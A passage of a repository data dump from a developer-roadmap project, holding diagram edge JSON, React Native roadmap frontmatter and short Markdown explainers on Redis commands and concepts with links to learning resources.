\"LL2ZkB7BuELyY2mPQhkAj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-LL2ZkB7BuELyY2mPQhkAjy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PyPjHnKIWpnFHal8RuSmX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-PyPjHnKIWpnFHal8RuSmXy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"afwB90L-q2hIwrA0LtWbG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-afwB90L-q2hIwrA0LtWbGy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1U3AiCDWEVEKsofWtqavi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-1U3AiCDWEVEKsofWtqaviy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"u5I-EOnA_yt6AQsRX-qr0\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-u5I-EOnA_yt6AQsRX-qr0y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"apXv-E6LvOuOMj3EpzwuA\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-apXv-E6LvOuOMj3EpzwuAy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0BMpZDc-1rSvETwX82zON\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__NIJzKzWlsciAjxUpm4K2vy2-4U-HZQGH7kaWCB94Xy8Mhz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0BMpZDc-1rSvETwX82zON\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__0BMpZDc-1rSvETwX82zONx2-4U-HZQGH7kaWCB94Xy8Mhw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1s9Y1dUtjpW9pu74ipX99\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhx2-1s9Y1dUtjpW9pu74ipX99w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"O5dely89N5UCMBeUfh8ud\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-O5dely89N5UCMBeUfh8udy1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/react-native/react-native.md",
    "content": "---\norder: 13\nbriefTitle: 'React Native'\nbriefDescription: 'Step by step guide to becoming a React Native Developer in 2025'\ntitle: 'React Native Developer'\ndescription: 'Step by step guide to becoming a React Native developer in 2025'\npdfUrl: '/pdfs/roadmaps/react-native.pdf'\nrenderer: 'editor'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2600\nschema:\n  headline: 'React Native Roadmap'\n  description: 'Learn how to become a React Native Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/react-native.png'\n  datePublished: '2023-06-27'\n  dateModified: '2023-06-27'\nseo:\n  title: 'React Native Developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for react native development. Learn to become a modern React Native developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a react native developer'\n    - 'guide to becoming a react native developer'\n    - 'react native developer'\n    - 'react native engineer'\n    - 'react native skills'\n    - 'guide to react native'\n    - 'react native roadmap'\n    - 'react native roadmap 2025'\n    - 'react native skills'\n    - 'react native skills test'\n    - 'skills for react native'\n    - 'what is react native'\n    - 'react native quiz'\n    - 'react native interview questions'\n    - 'react native engineer roadmap'\n    - 'react native engineer roadmap 2025'\n    - 'react native developer roadmap'\n    - 'react native developer roadmap 2025'\n    - 'become a react native developer'\n    - 'react native developer career path'\n    - 'modern react native developer'\nrelatedRoadmaps:\n  - 'javascript'\n  - 'react'\n  - 'frontend'\n  - 'flutter'\n  - 'android'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/active-active-geo-distribution@cybF72wlJyJbHLUjitLvn.md",
    "content": "# Active-Active geo Distribution\n\nAn Active-Active architecture is a data resiliency architecture that distributes the database information over multiple data centers via independent and geographically distributed clusters and nodes. It is a network of separate processing nodes, each having access to a common replicated database such that all nodes can participate in a common application ensuring local low latency with each region being able to run in isolation.\n\nLearn more from the following resources:\n\n- [@official@Active-Active geo-distribution](https://redis.io/active-active/)\n- [@video@What is active active geo-distribution](https://youtu.be/x5iHPPZIlQg?si=ZZCwU-tDCIVDboXc)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/aof-rewrite--compaction@ibaZ34-laQtUyxAsERi7o.md",
    "content": "# AOF rewrite & compaction\n\nPersistence refers to the writing of data to durable storage, such as a solid-state disk (SSD). Redis provides a range of persistence options of which AOF (Append Only File) is one of the options. AOF persistence logs every write operation received by the server. These operations can then be replayed again at server startup, reconstructing the original dataset.The rewrite will create a small optimized version of the current Append Only File. \n\nLearn more from the following resources:\n\n- [@official@Persistence in Redis](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)\n- [@video@Enabling Redis persistence](https://youtu.be/qBKnUeR0p10?si=TPvcFtpFMcTZB-Be)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/append@cPWd53BO6tm-uy4gqLdtZ.md",
    "content": "# APPEND\n\nRedis APPEND command is used to add some value in a key. If the key already exists and is a string, this command appends the value at the end of the string. If key does not exist it is created and set as an empty string,\n\nLearn more from the following resources:\n\n- [@official@APPEND](https://redis.io/docs/latest/commands/append/)\n- [@article@Redis - String Append Command](https://www.tutorialspoint.com/redis/strings_append.htm)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/atomicity-in-redis@jrgaoDnt_RxTu79hk4hCD.md",
    "content": "# Atomicity in Redis\n\nAtomicity in Redis refers to the property that ensures a set of operations is executed as a single, indivisible unit. This means that either all the operations are executed successfully or none of them are. Atomicity is crucial in Redis to maintain consistency, especially when multiple operations need to be performed together.\n\nLearn more from the following resources:\n\n- [@official@Atomicity with Lua](https://redis.io/learn/develop/java/spring/rate-limiting/fixed-window/reactive-lua)\n- [@article@Atomicity in Redis operations](https://lucaspin.medium.com/atomicity-in-redis-operations-a1d7bc9f4a90)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/authentication@Qy42paiTUsO8HIwbWTMui.md",
    "content": "# Authentication\n\nAuthentication in Redis is a security feature used to restrict access to the server by requiring clients to authenticate themselves with a password before performing any commands. This helps prevent unauthorized users from connecting to your Redis instance and performing operations.\n\nLearn more from the following resources:\n\n- [@official@AUTH](https://redis.io/docs/latest/commands/auth/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/backup-and-recovery@wXRDsNGFckXV_CSiit5sN.md",
    "content": "# Backup and Recovery\n\nBacking up and recovering Redis data is crucial for ensuring data persistence and reliability. Redis, by default, stores its data in memory for fast access, but it provides mechanisms to persist data to disk to allow for recovery in case of failure or system restarts. The primary methods for backup and recovery in Redis are RDB snapshots and AOF (Append-Only File). These methods can be used individually or in combination, depending on the specific use case.\n\nLearn more from the following resources:\n\n- [@official@Backup and Recovery](https://redis.io/redis-enterprise/technology/backup-disaster-recovery/)\n- [@video@Backup & Restore Redis Cluster with Stash](https://youtu.be/Py_Ivv-2dcQ?si=z8gAAmhlpUBce4jY)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/basic-commands--set-get@NhcZM4nUQoSBBf_1qXi6l.md",
    "content": "# Basic Commands / SET, GET\n\nIn Redis, the SET and GET commands are fundamental operations used to store and retrieve key-value pairs. Redis is an in-memory key-value store, and these commands form the basis for working with data in Redis.\n\nLearn more from the following resources:\n\n- [@official@SET Docs](https://redis.io/docs/latest/commands/set/)\n- [@official@GET Docs](https://redis.io/docs/latest/commands/get/)\n- [@official@Redis Cheat Sheet](https://redis.io/learn/howtos/quick-start/cheat-sheet)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/batch-operations@7JzeyTrkZ_1_yxMVrqvZU.md",
    "content": "# Batch Operations\n\nBatch operations in Redis allow you to execute multiple commands efficiently in a single network round-trip. While Redis does not have true batching like some databases (where a set of operations are sent together and processed atomically), it provides ways to send multiple commands together to reduce the overhead of individual network requests. These include Pipelining, Transactions (MULTI/EXEC), and Lua Scripting.\n\nLearn more from the following resources:\n\n- [@article@Batch Operations in Redis](https://www.compilenrun.com/docs/middleware/redis/redis-operations/redis-batch-operations/)\n- [@article@Using Pipelining to Batch Issue Commands](https://www.alibabacloud.com/help/en/redis/use-cases/use-pipelining-to-batch-issue-commands#:~:text=You%20can%20use%20the%20Redis,network%20latency%20and%20improving%20performance.)"
  },
  {
    "path": "src/data/roadmaps/redis/content/bitcount@jpcyXSSib7q4WBPmpgnXA.md",
    "content": "# BITCOUNT\n\nThe BITCOUNT command in Redis is used to count the number of bits set to 1 (i.e., the number of binary 1s) in the value stored at a specific key. Since Redis allows string values to be stored as binary data, the BITCOUNT command becomes useful for operations involving bits, like efficiently tracking and counting bits in binary-encoded data.\n\nLearn more from the following resources:\n\n- [@official@BITCOUNT](https://redis.io/docs/latest/commands/bitcount/)\n- [@article@BITCOUNT](https://upstash.com/docs/redis/sdks/ts/commands/bitmap/bitcount)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/bitmaps@0Q3AkE8leWAyYsww3-BHX.md",
    "content": "# Bitmaps\n\nIn Redis, Bitmaps are a data structure that allows you to manipulate individual bits within a string value. While Redis doesn't have a native \"bitmap\" data type, it uses strings to represent bitmaps. The power of bitmaps comes from their ability to perform operations on binary data at the bit level, making them extremely memory-efficient for certain types of applications, like tracking the presence/absence of elements (such as daily active users, features, etc.).\n\nLearn more from the following resources:\n\n- [@official@Bitmap](https://redis.io/docs/latest/develop/data-types/bitmaps/)\n- [@video@Redis Bitmap Explained](https://youtu.be/oj8LdJQjhJo?si=jem54LfPbZtrpnEP)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/bitop@tkrxArg_oYH0aQfM8NkD2.md",
    "content": "# BITOP\n\nThe `BITOP` command in Redis performs bitwise operations (AND, OR, XOR, and NOT) across one or more string keys, treating the strings as binary data. The result is stored in a destination key. This command is useful for manipulating and analyzing binary data directly in Redis, such as when aggregating flags or working with bitmap data structures.\n\nLearn more from the following resources:\n\n- [@official@BITOP](https://redis.io/docs/latest/commands/bitop/)\n- [@article@BITOP Explained](https://www.dragonflydb.io/docs/command-reference/strings/bitop)"
  },
  {
    "path": "src/data/roadmaps/redis/content/bitpos@Df1Eu7CuA-ARYii9JVvnm.md",
    "content": "# BITPOS\n\nThe `BITPOS` command in Redis is used to find the position of the first bit set to 1 or 0 in a string key. You can specify a starting and ending byte range for the search. It’s commonly used in scenarios where you need to quickly locate specific bits within a bitmap, such as finding the first occurrence of a flag or status in large datasets.\n\nLearn more from the following resources:\n\n- [@official@BITPOS](https://redis.io/docs/latest/commands/bitpos/)\n- [@article@BITPOS Documentation](https://upstash.com/docs/redis/sdks/py/commands/bitmap/bitpos)"
  },
  {
    "path": "src/data/roadmaps/redis/content/cache@eHuBz_zSZK3rubn7nkd7g.md",
    "content": "# Cache\n\nRedis cache is an in-memory key-value store used to cache frequently accessed data to improve application performance. By storing data in memory rather than on disk, Redis significantly reduces data access latency, making it ideal for use cases such as session management, caching database query results, and storing temporary data. Its ability to handle high throughput and support data persistence options allows it to be used as both a short-term cache and a durable data store.\n\nLearn more from the following resources:\n\n- [@official@Redis Caching](https://redis.io/solutions/caching/)\n- [@official@How to use Redis for Query Caching](https://redis.io/learn/howtos/solutions/microservices/caching)\n- [@article@Understanding Redis Caching](https://medium.com/@devlexus/understanding-redis-caching-how-it-works-and-why-its-efficient-99afdbf1b8e0)\n- [@video@How to use Redis Caching for incredible performance](https://www.youtube.com/watch?v=-5RTyEim384)"
  },
  {
    "path": "src/data/roadmaps/redis/content/caching@-TjnSOY8txYrhhxRV1OIl.md",
    "content": "# Caching\n\nRedis cache is an in-memory key-value store used to cache frequently accessed data to improve application performance. By storing data in memory rather than on disk, Redis significantly reduces data access latency, making it ideal for use cases such as session management, caching database query results, and storing temporary data. Its ability to handle high throughput and support data persistence options allows it to be used as both a short-term cache and a durable data store.\n\nLearn more from the following resources:\n\n- [@official@Redis Caching](https://redis.io/solutions/caching/)\n- [@official@How to use Redis for Query Caching](https://redis.io/learn/howtos/solutions/microservices/caching)\n- [@article@Understanding Redis Caching](https://medium.com/@devlexus/understanding-redis-caching-how-it-works-and-why-its-efficient-99afdbf1b8e0)\n- [@video@How to use Redis Caching for incredible performance](https://www.youtube.com/watch?v=-5RTyEim384)"
  },
  {
    "path": "src/data/roadmaps/redis/content/clustering@AQiCcHS6dBAAAPloxiXub.md",
    "content": "# Clustering\n\nRedis Cluster is a distributed implementation of Redis that provides automatic data partitioning across multiple nodes and ensures high availability through data replication. It uses a sharding mechanism to split data across nodes using a hash slot system, where each key is mapped to one of 16,384 slots distributed among the cluster's nodes. Redis Cluster offers fault tolerance by replicating data across master and replica nodes, enabling the cluster to continue operating even if some nodes fail. This setup is ideal for large-scale applications requiring scalability and resilience.\n\nLearn more from the following resources:\n\n- [@official@Scale with Redis Cluster](https://redis.io/docs/latest/operate/oss_and_stack/management/scaling/)\n- [@video@How to Create a Cluster in Redis](https://www.youtube.com/watch?v=N8BkmdZzxDg)"
  },
  {
    "path": "src/data/roadmaps/redis/content/configuring-save-interval@_pb2DPrFUUZabKxWsuFUo.md",
    "content": "# Configuring Save Interval\n\nConfiguring the save interval in Redis controls how often data is saved from memory to disk (RDB snapshots). This is done using the `save` directive in the `redis.conf` file. You can specify multiple save intervals with different thresholds, for example: `save 900 1` saves the dataset if at least one key is changed within 900 seconds. Redis allows configuring multiple save intervals, offering flexibility between performance and data durability based on your use case.\n\nLearn more from the following resources:\n\n- [@official@Redis Persistence](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)\n- [@video@Understanding Redis Persistence](https://www.youtube.com/watch?v=1pfvz24BAUs)"
  },
  {
    "path": "src/data/roadmaps/redis/content/connecting-using-redis-cli@BOGXTjmCLo6WI6mYDsqRu.md",
    "content": "# Connecting using Redis CLI\n\nThe Redis CLI (`redis-cli`) is a command-line interface used to interact with a Redis server. It allows users to run Redis commands, monitor the server, manage data, and perform administrative tasks. Common operations include setting and getting keys, managing key expiration, and checking server status. The CLI supports running commands in both interactive mode and non-interactive mode for scripting and automation. It’s a powerful tool for developers and administrators to troubleshoot and manage Redis instances directly.\n\nLearn more from the following resources:\n\n- [@official@Redis CLI Documentation](https://redis.io/docs/latest/develop/connect/cli/)\n- [@video@The Command Line Tool: redis-cli](https://www.youtube.com/watch?v=VenGyryG4OE)"
  },
  {
    "path": "src/data/roadmaps/redis/content/data-persistence-options@8uRpPJ0iD4XnQPKruQc8P.md",
    "content": "# Data Persistence Options\n\nRedis offers two main data persistence options: **RDB (Redis Database)** snapshots and **AOF (Append-Only File)**. RDB creates point-in-time snapshots of the dataset at specified intervals, making it suitable for infrequent backups but with potential data loss between snapshots. AOF logs every write operation and replays them on restart, providing more durable persistence with finer control over data recovery. You can also configure Redis to use both methods for a balance between fast recovery and minimal data loss. Additionally, Redis supports running in memory-only mode without persistence."
  },
  {
    "path": "src/data/roadmaps/redis/content/decr@t4BXPofF8OCqH5KHwdYVh.md",
    "content": "# DECR\n\nThe `DECR` command in Redis decreases the integer value of a key by 1. If the key does not exist, it is initialized to 0 before performing the decrement. If the key contains a value that is not an integer, Redis returns an error. This command is useful in counters and for tracking state changes in a simple, atomic way.\n\nLearn more from the following resources:\n\n- [@official@DECR Documentation](https://redis.io/docs/latest/commands/decr/)\n- [@article@Redis String DECR](https://www.w3resource.com/redis/redis-decr-key.php)"
  },
  {
    "path": "src/data/roadmaps/redis/content/del@lV_MnUNTB2h925idX0YWk.md",
    "content": "# DEL\n\nThe `DEL` command in Redis is used to delete one or more keys from the database. If the specified key(s) exist, they are removed, and the command returns the number of keys that were deleted. If a key does not exist, it is simply ignored, and no error is returned. This command is useful for managing memory by removing unnecessary or obsolete data and is an atomic operation, ensuring that keys are deleted without interference from other operations.\n\nLearn more from the following resources:\n\n- [@official@DEL](https://redis.io/docs/latest/commands/del/)\n- [@article@Redis DEL Command](https://www.tutorialspoint.com/redis/keys_del.htm)"
  },
  {
    "path": "src/data/roadmaps/redis/content/disaster-recovery@nUIfTkgm3PlSiqgun1BS7.md",
    "content": "# Disaster Recovery\n\nDisaster recovery in Redis involves strategies and practices to ensure data availability and integrity in the event of failures, such as server crashes, data corruption, or network issues. Key approaches include leveraging Redis's built-in replication, where data is copied from master to replica nodes for redundancy. Snapshots (RDB) and append-only file (AOF) persistence methods can be configured for data recovery, allowing the restoration of data to a recent state. Additionally, implementing a Redis Cluster can provide automated failover capabilities, distributing data across multiple nodes to minimize downtime and ensure business continuity. Regular backups and monitoring are also essential components of a robust disaster recovery plan.\n\nLearn more from the following resources:\n\n- [@official@Backup Disaster Recovery](https://redis.io/redis-enterprise/technology/backup-disaster-recovery/)\n- [@article@Disaster Recovery for Redis in the Cloud](https://www.alibabacloud.com/tech-news/a/redis/gtu8u2afbc-disaster-recovery-for-redis-in-the-cloud-strategies-and-best-practices)"
  },
  {
    "path": "src/data/roadmaps/redis/content/eval@rjeq3i9oX8IGyQzo--L3c.md",
    "content": "# EVAL\n\nThe `EVAL` command in Redis allows the execution of Lua scripts directly on the server, enabling complex operations that can be atomically executed. This command takes a Lua script as an argument, along with a list of keys and arguments for the script. By executing scripts server-side, `EVAL` reduces the number of round trips between the client and server, enhances performance, and allows for operations that require multiple commands to be executed in a single atomic operation. It is particularly useful for implementing advanced data manipulations, custom logic, or conditional operations within Redis.\n\nLearn more from the following resources:\n\n- [@official@EVAL](https://redis.io/docs/latest/commands/eval/)\n- [@article@Redis EVAL Command](https://www.tutorialspoint.com/redis/scripting_eval.htm)"
  },
  {
    "path": "src/data/roadmaps/redis/content/evalsha@3X0x_PcJGWBVPL-LSVAln.md",
    "content": "# EVALSHA\n\nThe `EVALSHA` command in Redis is used to execute a Lua script that has already been loaded into the server with the `SCRIPT LOAD` command. Instead of sending the entire script each time, you provide the SHA1 hash of the script, which allows for more efficient execution and reduced network overhead. Like `EVAL`, `EVALSHA` can accept keys and arguments, enabling complex, atomic operations to be performed directly on the server. This approach is particularly beneficial in scenarios where the same script is executed multiple times, as it avoids the need to re-transmit the script’s source code.\n\nLearn more from the following resources:\n\n- [@official@EVALSHA](https://redis.io/docs/latest/commands/evalsha/)\n- [@article@Redis EVALSHA Command](https://www.tutorialspoint.com/redis/scripting_evalsha.htm)"
  },
  {
    "path": "src/data/roadmaps/redis/content/exec@Ljy-Mc0EBBX4_vXfYZ5-4.md",
    "content": "# EXEC\n\nThe `EXEC` command in Redis is used to execute a transaction that has been initiated with the `MULTI` command. When a transaction is started with `MULTI`, subsequent commands are queued but not executed immediately. Calling `EXEC` will execute all the commands in the transaction atomically, ensuring that either all commands succeed or none are applied. If any command in the transaction fails, the entire transaction is aborted. This command is essential for maintaining data integrity when performing a series of operations that should be treated as a single unit of work.\n\nLearn more from the following resources:\n\n- [@official@EXEC](https://redis.io/docs/latest/commands/exec/)\n- [@article@Redis Transactions: EXEC](https://www.w3resource.com/redis/redis-exec.php)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/expiration@OSIYDYPGz8Vgo9SU9GGH9.md",
    "content": "# Expiration\n\nRedis key expiration allows you to set a time-to-live (TTL) for keys, automatically deleting them after a specified duration. This can be achieved using commands like `EXPIRE`, which sets the expiration time in seconds, or `PEXPIRE`, which uses milliseconds for finer granularity. You can also use `SET` with the EX argument to set a key with a value and expiration in a single command. Expired keys are removed during normal operations, such as when accessed or during periodic cleanup. This feature is useful for managing memory efficiently and for scenarios like session management or caching where temporary data storage is needed.\n\nLearn more from the following resources:\n\n- [@official@PEXPIRE](https://redis.io/docs/latest/commands/pexpire/)\n- [@official@EXPIRE](https://redis.io/docs/latest/commands/expire/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/expire@nS0DHhfy4wxHItgOFhulA.md",
    "content": "# EXPIRE\n\nThe EXPIRE command is used to set a time-to-live (TTL) for a key in seconds, after which the key will be automatically deleted. If you need to specify the expiration time in milliseconds, you can use the PEXPIRE command. Both commands help manage memory by allowing you to automatically remove keys that are no longer needed, which is especially useful in caching and session management scenarios.\n\nLearn more from the following resources:\n\n- [@official@Expiring Keys](https://redis.io/ebook/part-2-core-concepts/chapter-3-commands-in-redis/3-7-other-commands/3-7-3-expiring-keys/)\n- [@official@EXPIRE](https://redis.io/docs/latest/commands/expire/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/geoadd@U3N1EgHFs1-YUaB_VrJfw.md",
    "content": "# GEOADD\n\nThe `GEOADD` command in Redis is used to add geospatial data to a sorted set, where each entry consists of a member (a unique identifier) and its corresponding longitude and latitude coordinates. This command allows you to store location-based data efficiently, enabling geospatial queries such as finding members within a specified radius or calculating distances between points. The coordinates are stored in a format that allows for quick retrieval and analysis, making `GEOADD` a powerful tool for applications involving mapping, location tracking, and proximity searches.\n\nLearn more from the following resources:\n\n- [@official@GEOADD](https://redis.io/docs/latest/commands/geoadd/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/geosearch@OWWDLuGTbdNwME7v2jxVP.md",
    "content": "# GEOSEARCH\n\nThe `GEOSEARCH` command in Redis is used to query geospatial data by finding members within a specified geographic area. It allows you to search for entries based on a central point (latitude and longitude) and a defined radius, or by bounding box coordinates. The command returns a sorted set of members that fall within the specified geographical range, making it ideal for applications that require proximity searches, such as locating nearby businesses or services. `GEOSEARCH` can also be combined with various options, such as sorting results by distance or limiting the number of results returned.\n\nLearn more from the following resources:\n\n- [@official@GEOADD](https://redis.io/docs/latest/commands/geoadd/)\n- [@article@Getting Started with Geospatial Search in Redis](https://redis.io/learn/howtos/solutions/geo/getting-started)"
  },
  {
    "path": "src/data/roadmaps/redis/content/geospatial-indexes@_NiUdVQ85qnvryI38k_vQ.md",
    "content": "# Geospatial Indexes\n\nGeospatial indexes in Redis are used to efficiently store and query location-based data, enabling fast geospatial operations. Redis uses a sorted set data structure to maintain these indexes, where each member represents a geographic location identified by longitude and latitude coordinates. The coordinates are encoded into a single value, allowing Redis to perform operations like adding locations (`GEOADD`), searching for nearby locations (`GEOSEARCH`), and calculating distances (`GEODIST`). This indexing mechanism allows for rapid retrieval of geospatial data, making it suitable for applications such as mapping services, location tracking, and proximity-based searches.\n\nLearn more from the following resources:\n\n- [@official@Geospatial Indexing](https://redis.io/docs/latest/develop/interact/search-and-query/indexing/geoindex/)\n- [@article@Geospatial Indexes in Redis](https://codesignal.com/learn/courses/redis-data-structures-beyond-basics/lessons/introduction-to-geospatial-indexes-in-redis-using-java)"
  },
  {
    "path": "src/data/roadmaps/redis/content/get@mQc4H2ZMMSVjh33LJY8mK.md",
    "content": "# GET\n\nThe `GET` command in Redis is used to retrieve the value associated with a specified key. If the key exists, it returns the value as a string; if the key does not exist, it returns a nil response. This command is fundamental for accessing stored data in Redis and is often used in conjunction with other commands to manipulate and manage data within the database. The `GET` command is atomic, meaning it provides a consistent view of the data at the time the command is executed.\n\nLearn more from the following resources:\n\n- [@official@GET](https://redis.io/docs/latest/commands/get/)\n- [@article@How to get all keys in Redis](https://www.atlassian.com/data/admin/how-to-get-all-keys-in-redis)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/getbit@0HFLJfcrcSnAVTecG3P8W.md",
    "content": "# GETBIT\n\nThe `GETBIT` command in Redis retrieves the value of a specific bit at a given offset in a string key. It returns either 0 or 1, depending on the state of the bit at that position. If the key does not exist, the command returns 0, as it treats non-existing keys as empty strings. This command is particularly useful for working with bitmap data structures, allowing you to check the status of individual bits in a more efficient manner compared to retrieving the entire string.\n\nLearn more from the following resources:\n\n- [@official@GETBIT](https://redis.io/docs/latest/commands/getbit/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/hashes@wY46Qj5Inw_ClBNI9PB_2.md",
    "content": "# Hashes\n\nHashes in Redis are a data type that allows you to store a collection of key-value pairs under a single key, similar to a dictionary or a map. Each hash can hold multiple fields, and each field has its own value, making hashes ideal for representing objects or entities with various attributes. You can perform operations like adding fields (`HSET`), retrieving field values (`HGET`), deleting fields (`HDEL`), and iterating over fields (`HSCAN`). Hashes are memory-efficient and provide a way to group related data together, making them suitable for use cases like user profiles, configuration settings, or any structured data storage.\n\nLearn more from the following resources:\n\n- [@official@Redis Hashes](https://redis.io/docs/latest/develop/data-types/hashes/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hdel@E7xFZkqqbzokD5KGTn9zJ.md",
    "content": "# HDEL\n\n`HDEL` is a Redis command used to delete one or more specified fields from a hash. If the fields exist in the hash, they are removed, and the command returns the number of fields that were deleted. If a specified field does not exist, it is ignored. `HDEL` is useful for efficiently managing memory and cleaning up data within a Redis hash without removing the entire hash structure.\n\nLearn more from the following resources:\n\n- [@official@HDEL](https://redis.io/docs/latest/commands/hdel/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hexists@adhLMuSmfYMRyWTwIgnyE.md",
    "content": "# HEXISTS\n\n`HEXISTS` is a Redis command used to check if a specified field exists within a hash. It returns `1` if the field is present and `0` if it is not. This command is useful for verifying the presence of specific fields in a hash before performing operations like updates or deletions. It helps ensure data consistency and avoid unnecessary operations in Redis.\n\nLearn more from the following resources:\n\n- [@official@HEXISTS](https://redis.io/docs/latest/commands/hexists/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hget@MsKg9m5jFwHM2Bzjf-vdu.md",
